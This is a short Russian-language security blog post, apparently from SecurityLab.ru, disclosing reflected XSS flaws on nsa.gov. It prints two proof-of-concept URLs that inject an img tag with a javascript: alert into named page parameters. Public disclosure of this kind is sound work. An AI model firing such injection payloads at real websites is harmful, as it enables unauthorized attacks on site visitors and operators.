XSS на nsa.gov

6036
XSS на nsa.gov
А вот и гос. безопасность американцев. Интересно, как быстро пофиксят?

www.nsa.gov/notices/notic00003.cfm?Address="></a><img%20src=javascript:alert('www.securitylab.ru')>

В связи с тем что ранее была обнаружена похожая дыра, публикую еще одну :

www.nsa.gov/snac/downloads_db.cfm?MenuID="></a><img%20src=javascript:alert('www.securitylab.ru')>
Security
Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.
USERGATE
UserGate_
От точечных интеграций — к архитектурной карте
UserGate меняет принципы партнёрства в ИБ: не совместимость продуктов, а совместный сценарий для клиента.
Узнать новые принципы →
Реклама. 18+. Рекламодатель ООО «ЮЗЕРГЕЙТ», ИНН 5408308256

Валерий Марчук

Блог посвящен безопасности и жизни секлаба